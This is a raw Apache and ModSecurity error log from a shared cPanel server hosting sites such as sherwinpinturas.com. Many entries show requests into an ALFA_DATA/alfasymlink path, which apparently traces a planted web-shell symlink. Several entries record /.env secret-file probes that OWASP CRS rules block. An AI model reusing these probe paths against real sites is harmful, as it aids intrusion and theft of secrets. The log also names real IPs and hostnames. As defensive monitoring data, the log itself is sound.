[Sun Oct 25 12:12:10.170195 2026] [security2:error] [pid 2858951:tid 2858951] [client 34.196.237.236:31679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1a/"] [unique_id "at4qWtZihflyA5vLgLJTOgAAAA0"]
[Sun Oct 25 12:12:10.170248 2026] [security2:error] [pid 2858951:tid 2858951] [client 34.196.237.236:31679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1a/"] [unique_id "at4qWtZihflyA5vLgLJTOgAAAA0"]
[Sun Oct 25 12:12:26.156274 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 23.23.213.182:46344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:12:30.343940 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 52.203.152.231:50380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:12:34.247888 2026] [core:error] [pid 2858944:tid 2858944] (13)Permission denied: [client 35.174.141.243:3385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:05/eject
[Sun Oct 25 12:12:42.220794 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 54.235.191.179:36494] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:12:46.348429 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 54.166.126.132:27747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:12:58.177680 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.223.116.180:44553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:13:02.183573 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 44.212.145.46:52672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:13:07.457434 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 85.208.96.205:17844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/cpu_slabs
[Sun Oct 25 12:13:10.284551 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 52.45.29.57:61471] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:13:15.492976 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 184.73.68.20:36102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/physical_node/rescan
[Sun Oct 25 12:13:16.835905 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 185.191.171.2:24706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/order
[Sun Oct 25 12:13:18.252432 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 52.204.89.12:56313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:13:34.179098 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 54.197.178.107:16861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/ac/unbind
[Sun Oct 25 12:13:42.412209 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 54.156.124.2:37926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:13:50.271334 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 3.214.176.44:38567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/resource1
[Sun Oct 25 12:13:52.211022 2026] [core:crit] [pid 2858944:tid 2858944] (13)Permission denied: [client 216.244.66.250:56568] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/fd/' is executable
[Sun Oct 25 12:13:52.211078 2026] [core:crit] [pid 2858944:tid 2858944] (13)Permission denied: [client 216.244.66.250:56568] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/map_files/' is executable
[Sun Oct 25 12:13:52.211115 2026] [core:crit] [pid 2858944:tid 2858944] (13)Permission denied: [client 216.244.66.250:56568] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/62/fdinfo/' is executable
[Sun Oct 25 12:13:58.170069 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 44.223.116.180:49653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:14:10.160204 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 54.83.56.1:26098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:14:18.156552 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 52.205.141.124:16738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:14:18.207396 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 216.244.66.250:38322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/c99
[Sun Oct 25 12:14:26.241381 2026] [security2:error] [pid 2858953:tid 2858953] [client 91.92.240.86:59702] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at4q4nOgesOfLoiC5MhzVgAAAA8"]
[Sun Oct 25 12:14:26.241613 2026] [security2:error] [pid 2858953:tid 2858953] [client 91.92.240.86:59702] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at4q4nOgesOfLoiC5MhzVgAAAA8"]
[Sun Oct 25 12:14:26.242445 2026] [security2:error] [pid 2858953:tid 2858953] [client 91.92.240.86:59702] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at4q4nOgesOfLoiC5MhzVgAAAA8"]
[Sun Oct 25 12:14:26.384609 2026] [security2:error] [pid 2858970:tid 2858970] [client 91.92.240.86:33744] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at4q4hjv1ZqIw7BzV-svpwAAACc"]
[Sun Oct 25 12:14:26.384809 2026] [security2:error] [pid 2858970:tid 2858970] [client 91.92.240.86:33744] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at4q4hjv1ZqIw7BzV-svpwAAACc"]
[Sun Oct 25 12:14:26.385726 2026] [security2:error] [pid 2858970:tid 2858970] [client 91.92.240.86:33744] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at4q4hjv1ZqIw7BzV-svpwAAACc"]
[Sun Oct 25 12:14:40.142966 2026] [core:error] [pid 2858944:tid 2858944] (13)Permission denied: [client 185.191.171.4:24332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/cpu_slabs
[Sun Oct 25 12:14:46.270313 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 3.219.80.71:16058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/uevent
[Sun Oct 25 12:14:50.176815 2026] [ssl:error] [pid 2858970:tid 2858970] (5)Input/output error: [client 54.83.180.239:13907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:14:54.138400 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 52.3.102.51:24336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:14:54.138613 2026] [security2:error] [pid 2858943:tid 2858943] [client 52.3.102.51:24336] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A06:01/physical_node/power/runtime_status"] [unique_id "at4q_izQrtqHU7fxegxV2wAAAAU"]
[Sun Oct 25 12:14:54.138643 2026] [security2:error] [pid 2858943:tid 2858943] [client 52.3.102.51:24336] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A06:01/physical_node/power/runtime_status"] [unique_id "at4q_izQrtqHU7fxegxV2wAAAAU"]
[Sun Oct 25 12:15:02.261523 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 98.80.130.239:8793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:15:07.417461 2026] [core:error] [pid 2858953:tid 2858953] (13)Permission denied: [client 85.208.96.196:32332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/reclaim_account
[Sun Oct 25 12:15:09.824934 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 85.208.96.210:41340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/slab_size
[Sun Oct 25 12:15:14.185150 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 184.73.35.182:3791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/remove
[Sun Oct 25 12:15:18.177326 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 18.214.138.148:43426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:15:21.701191 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 216.244.66.250:49070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.mIz6dRgj2T
[Sun Oct 25 12:15:38.185827 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 54.84.250.51:39595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:15:43.593195 2026] [authz_core:error] [pid 2855792:tid 2855792] [client 205.210.31.198:61346] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:15:46.540930 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 54.225.181.161:18824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:15:48.362391 2026] [core:error] [pid 2858951:tid 2858951] (13)Permission denied: [client 185.191.171.8:27724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/poison
[Sun Oct 25 12:15:54.127213 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 85.208.96.196:51380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/resource0_wc
[Sun Oct 25 12:15:54.204976 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 98.84.184.80:31383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:15:58.155311 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 54.156.55.147:58512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS0/flags
[Sun Oct 25 12:16:02.159021 2026] [ssl:error] [pid 2858954:tid 2858954] (70014)End of file found: [client 54.235.172.108:59473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:16:10.216087 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 34.236.135.14:51828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:16:22.278176 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 184.73.195.18:25253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:16:30.182448 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 34.234.197.175:22185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:16:54.145696 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 34.225.87.80:43514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:02.153594 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 54.166.104.83:60934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:06.204489 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 35.171.141.42:29159] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:10.142176 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 107.20.224.184:35725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:14.143724 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 3.89.176.255:52217] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:26.137391 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 3.222.190.107:12118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:42.198331 2026] [ssl:error] [pid 2858953:tid 2858953] (5)Input/output error: [client 54.85.109.140:47606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:17:58.173432 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 34.202.88.37:59553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:18:14.167005 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 35.169.119.108:15349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:18:42.147965 2026] [ssl:error] [pid 2858944:tid 2858944] (70014)End of file found: [client 34.236.41.241:13783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:18:46.163564 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 44.205.192.249:19154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:18:46.163757 2026] [security2:error] [pid 2858955:tid 2858955] [client 44.205.192.249:19154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/node0/memory20/removable"] [unique_id "at4r5uq7T0HAYyztfCsv-AAAABE"]
[Sun Oct 25 12:18:46.163785 2026] [security2:error] [pid 2858955:tid 2858955] [client 44.205.192.249:19154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/node0/memory20/removable"] [unique_id "at4r5uq7T0HAYyztfCsv-AAAABE"]
[Sun Oct 25 12:18:48.264018 2026] [core:error] [pid 2858970:tid 2858970] (13)Permission denied: [client 185.191.171.16:23856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/partial
[Sun Oct 25 12:18:50.249583 2026] [ssl:error] [pid 2858943:tid 2858943] (70014)End of file found: [client 52.45.194.165:5928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:18:54.139243 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 18.214.238.178:9102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:19:02.294662 2026] [ssl:error] [pid 2858951:tid 2858951] (70014)End of file found: [client 54.157.84.74:42839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:19:05.279074 2026] [security2:error] [pid 2858954:tid 2858954] [client 43.135.142.37:38600] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4r-TAEUvrjpKySVId8HQAAABA"]
[Sun Oct 25 12:19:05.280191 2026] [authz_core:error] [pid 2858954:tid 2858954] [client 43.135.142.37:38600] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:19:06.327312 2026] [ssl:error] [pid 2858953:tid 2858953] (5)Input/output error: [client 52.205.113.104:53302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:19:14.144081 2026] [ssl:error] [pid 2858970:tid 2858970] (70014)End of file found: [client 34.197.28.78:18332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:19:16.043825 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 185.191.171.14:42820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/object_size
[Sun Oct 25 12:20:00.908714 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 185.191.171.7:42442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:20:02.221168 2026] [ssl:error] [pid 2858953:tid 2858953] (70014)End of file found: [client 3.235.215.92:32462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:20:08.499756 2026] [core:error] [pid 2858943:tid 2858943] (13)Permission denied: [client 85.208.96.204:53060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/validate
[Sun Oct 25 12:20:30.303310 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 52.200.93.170:61999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:20:42.284770 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 3.216.227.216:32646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:02/physical_node/rescan
[Sun Oct 25 12:20:54.213339 2026] [ssl:error] [pid 2858940:tid 2858940] (70014)End of file found: [client 34.194.14.255:51984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:21:06.255795 2026] [ssl:error] [pid 2858955:tid 2858955] (70014)End of file found: [client 52.200.251.20:9413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:21:10.266380 2026] [ssl:error] [pid 2858970:tid 2858970] (5)Input/output error: [client 54.225.148.123:32918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:21:50.346344 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 18.204.152.114:63430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:05.683156 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 185.191.171.4:22136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/ctor
[Sun Oct 25 12:22:06.211595 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 34.236.185.101:56547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:10.204258 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 18.214.251.19:47058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:14.224806 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 54.204.62.163:61883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ehci-pci/uevent
[Sun Oct 25 12:22:18.198460 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 98.83.10.183:47312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:26.227647 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 52.3.26.180:4134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:38.080598 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 85.208.96.195:15188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:42.206428 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.0.41.164:25973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:22:45.270034 2026] [security2:error] [pid 2862845:tid 2862845] [client 130.12.180.176:18518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4s1VR7hiVQnPOARxKtbQAAAC4"]
[Sun Oct 25 12:22:45.270361 2026] [security2:error] [pid 2862845:tid 2862845] [client 130.12.180.176:18518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4s1VR7hiVQnPOARxKtbQAAAC4"]
[Sun Oct 25 12:22:45.270727 2026] [security2:error] [pid 2862845:tid 2862845] [client 130.12.180.176:18518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "contacto.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4s1VR7hiVQnPOARxKtbQAAAC4"]
[Sun Oct 25 12:22:50.359078 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 54.235.172.96:18652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:23:06.298973 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 50.19.221.48:40438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:23:18.307642 2026] [core:error] [pid 2862816:tid 2862816] (13)Permission denied: [client 18.213.70.100:60448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:0c/eject
[Sun Oct 25 12:23:34.190104 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 54.235.125.129:35891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:23:42.244671 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 18.211.148.239:33752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:23:46.410383 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 3.225.9.97:23466] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:23:46.708395 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 85.208.96.212:43496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/cache_dma
[Sun Oct 25 12:24:18.318526 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 3.224.205.25:17849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:24:22.234106 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.81.253.213:31333] AH02013: coalesce failed to read from data bucket
